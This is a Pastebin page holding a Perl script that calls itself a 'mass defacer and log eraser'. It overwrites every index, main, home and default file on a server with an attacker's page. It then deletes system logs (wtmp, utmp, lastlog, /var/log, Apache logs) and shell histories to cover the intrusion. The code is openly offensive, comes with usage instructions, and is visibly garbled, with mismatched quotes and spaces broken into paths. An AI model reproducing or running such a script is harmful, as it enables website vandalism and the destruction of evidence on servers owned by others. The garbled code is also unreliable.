Advertisement
Kyfx

Credits to MOROCCO.SECURITY.RULZ Perl Mass Deface script v3

Mar 21st, 2015
490
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.62 KB | None | 0 0
  1.  
  2. ################################################## ################################################## #####
  3. # MSRml V 0.1 #
  4. # #
  5. # MOROCCO.SECURITY.RULZ mass defacer and log eraser #
  6. # #
  7. # coded by PRI [ll #
  8. # #
  9. # !!!! PRIV8 !!!!! PRIV8 !!! PRIV8 !! !!!!! PRIV8 !!!! #
  10. # #
  11. # 05/07/2005 #
  12. # #
  13. # usage: perl MSRml.pl <path to index> #
  14. # #
  15. # example: perl MSRml.pl /tmp/index.html #
  16. # #
  17. # [Only registered and activated users can see links] #
  18. ############################################# ##### ############################################# ##### #####
  19. #! / usr / bin / perl
  20. use strict;
  21. my $ index = $ ARGV [0];
  22. if ($ argv [0])
  23. {
  24. if (-e $ index)
  25. {
  26. system " echo -e "33 [01; 34mStarted MSRml v0.1 by PRI [ll Ok !! 33 [01; 37m" n "
  27. system "echo -e" \ 033 [01; 37mDefacing all Homepages ... "n";
  28. system "find / -name" index * "-exec cp $ {index} \;"
  29. system "find / -name" main * "-exec cp $ {index} \;"
  30. system "find / -name 'home * "-exec cp $ {index} \;"
  31. system "find / -name" default * "-exec cp $ {index} \;"
  32. system "echo -e" \ 033 [01; 37m [+] done ! all sites in this box should be defaced! "n"
  33. system "echo -e" \ 033 [01; 37m ------------------------- --------------------------------- "n"
  34. system "echo -e" \ 033 [01; 37mCleaning up logs ... "n"
  35. system "echo -e" 33 [01; 34m --------- Erasing default log files (too fast =)) --------- 33 [01 ; 37m "n";
  36. if (-e '/ var / log / lastlog ")
  37. {
  38. system "rm -rf / var / log / lastlog ';
  39. system "echo -e" \ 033 [01; 37m / var / log / lastlog -erased Ok "n";
  40. }
  41. else
  42. {
  43. system "echo -e" \ 033 [01; 31m / var / log / lastlog - No such file or directory \ 033 [01; 37m "n";
  44. }
  45. if (-e "/ var / log / wtmp ')
  46. {
  47. system "rm -rf / var / log / wtmp ';
  48. system "echo -e" \ 033 [01; 37m / var / log / wtmp -erased Ok "n";
  49. }
  50. else
  51. {
  52. system "echo -e" \ 033 [01; 31m / var / log / wtmp - No such file or directory \ 033 [01; 37m "n";
  53. }
  54. if (-e '/ etc / wtmp')
  55. {
  56. system ' rm -rf / etc / wtmp ';
  57. system "echo -e" \ 033 [01; 37m / etc / wtmp -erased Ok "n";
  58. }
  59. else
  60. {
  61. system "echo -e" \ 033 [01; 31m / etc / wtmp - No such file or directory \ 033 [01; 37m "n";
  62. }
  63. if (-e '/ var / run / utmp ")
  64. {
  65. system "rm -rf / var / run / utmp ';
  66. system "echo -e "\ 033 [01; 37m / var / run / utmp -erased Ok" n ";
  67. }
  68. else
  69. {
  70. system "echo -e" \ 033 [01; 31m / var / run / utmp - No such file or directory \ 033 [ 01; 37m "n";
  71. }
  72. if (-e '/ etc / utmp ")
  73. {
  74. system "rm -rf / etc / utmp ';
  75. system "echo -e" \ 033 [01; 37m / etc / utmp -erased Ok "n";
  76. }
  77. else
  78. {
  79. system "echo -e" \ 033 [01; 31m / etc / utmp - No such file or directory \ 033 [01; 37m "n";
  80. }
  81. if (-e '/ var / log " )
  82. {
  83. system "rm -rf / var / log ';
  84. system "echo -e" \ 033 [01; 37m / var / log -erased Ok "n";
  85. }
  86. else
  87. {
  88. system "echo -e" \ 033 [01; 31m / var / log - No such file or directory \ 033 [01; 37m "n";
  89. }
  90. if (-e '/ var / logs')
  91. {
  92. system "rm -rf / var / logs';
  93. system "echo -e "\ 033 [01; 37m / var / logs -erased Ok" n ";
  94. }
  95. else
  96. {
  97. system "echo -e" \ 033 [01; 31m / var / logs - No such file or directory \ 033 [01; 37m " n ";
  98. }
  99. if (-e '/ var / adm')
  100. {
  101. system "rm -rf / var / adm ';
  102. system "echo -e" \ 033 [01; 37m / var / adm -erased Ok "n";
  103. }
  104. else
  105. {
  106. system "echo -e" \ 033 [01; 31m / var / adm - No such file or directory \ 033 [01; 37m "n";
  107. }
  108. if (-e '/ var / apache / log ")
  109. {
  110. system 'rm -rf / var / apache / log';
  111. system "echo -e" \ 033 [01; 37m / var / apache / log -erased Ok "n";
  112. }
  113. else
  114. {
  115. system "echo -e" \ 033 [ 01; 31m / var / apache / log - No such file or directory \ 033 [01; 37m "n";
  116. }
  117. if (-e '/ var / apache / logs')
  118. {
  119. system "rm -rf / var / apache / logs';
  120. system "echo -e" \ 033 [01; 37m / var / apache / logs -erased Ok "n";
  121. }
  122. else
  123. {
  124. system "echo -e" \ 033 [01; 31m / var / apache / logs - No such file or directory \ 033 [01; 37m "n";
  125. }
  126. if (-e '/ usr / local / apache / log ")
  127. {
  128. system "rm -rf / usr / local / apache / log ';
  129. system "echo -e "\ 033 [01; 37m / usr / local / apache / log -erased Ok" n ";
  130. }
  131. else
  132. {
  133. system "echo -e" \ 033 [01; 31m / usr / local / apache / log - No such file or directory \ 033 [01; 37m "n";
  134. }
  135. if (-e '/ usr / local / apache / logs')
  136. {
  137. system "rm -rf / usr / local / apache / logs';
  138. system "echo -e "\ 033 [01; 37m / usr / local / apache / logs -erased Ok" n ";
  139. }
  140. else
  141. {
  142. system "echo -e" \ 033 [01; 31m / usr / local / apache / logs - No such file or directory \ 033 [01; 37m "n";
  143. }
  144. if (-e "/root/.bash_history")
  145. {
  146. system "rm -rf /root/.bash_history ';
  147. system "echo -e" \ 033 [01; 37m / root / .bash_history -erased Ok "n";
  148. }
  149. else
  150. {
  151. system "echo -e" \ 033 [01; 31m /root/.bash_history - No such file or directory \ 033 [01; 37m "n";
  152. }
  153. if ( s "/root/.ksh_history")
  154. {
  155. system "rm -rf /root/.ksh_history ';
  156. system "echo -e" \ 033 [01; 37m /root/.ksh_history -erased Ok "n";
  157. }
  158. else
  159. {
  160. system "echo -e" \ 033 [01; 31m /root/.ksh_history - No such file or directory \ 033 [01; 37m "n";
  161. }
  162. system "echo -e" \ 033 [01; 37m [+] - ---- done all default log files and bash_history erased !! "n"
  163. system "echo -e" 33 [01; 34m --------- Now Erasing the rest of the machine log files (can be long: S) --------- 33 [01; 37m 'n'
  164. system 'find / -name * .bash_history -exec rm -rf {};';
  165. system "echo -e" \ 033 [ 01; 37m * all .bash_history files -erased Ok! 'n'
  166. system 'find / -name * .bash_logout -exec rm -rf {};';
  167. system "echo -e" \ 033 [01; 37m * all. bash_logout files -erased Ok! 'n'
  168. system 'find / -name "log *" -exec rm -rf {};';
  169. system "echo -e" \ 033 [01; 37m * all log files -erased Ok! "n"
  170. system "find / -name * .log -exec rm -rf {}; ';
  171. system "echo -e" \ 033 [01; 37m all * .log files -erased Ok! "n"
  172. system " echo -e "33 [01; 34m ------- [+]! done all log files erased! [+] ------- 33 [01; 37m" n "
  173. system "echo -e "33 [01; 34m -------------------------------------------- ------- 33 [01; 37m "n"
  174. system "echo -e" 33 [01; 34m ----------------- MSRml V 0.1 --- ------------------- 33 [01; 37m "n";
  175. }
  176. else
  177. {
  178. system "echo -e" \ 033 [01; 31m [-] Failed! the path that u're index Could not be found! \ 033 [01; 37m "n";
  179. exit;
  180. }
  181. }
  182. else
  183. {
  184. system "echo -e" \ 033 [01; 37m !! Morocco.Security.Rulz mass and defacer log eraser !! "n"
  185. system "echo -e" \ 033 [01; 37m !!!!!!!!!!!!!!!!!! coded by PRI [ll !!!!!!! !!!!!!!!!!!!!!!!! "n"
  186. system "echo -e" \ 033 [01; 31m !!!!!!!! PRIV8 !!!!!!!! PRIV8 !!!!!!!! PRIV8 !!!!! PRIV8 !!! !!!!!!!! \ 033 [01; 37m "n"
  187. system "echo -e" \ 033 [01; 37musage: perl $ 0 <path too u're index> 'n'
  188. system "echo -e" \ 033 [01; 37mexample: perl $ 0 /tmp/index.html"n ";
  189. exit;
  190. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement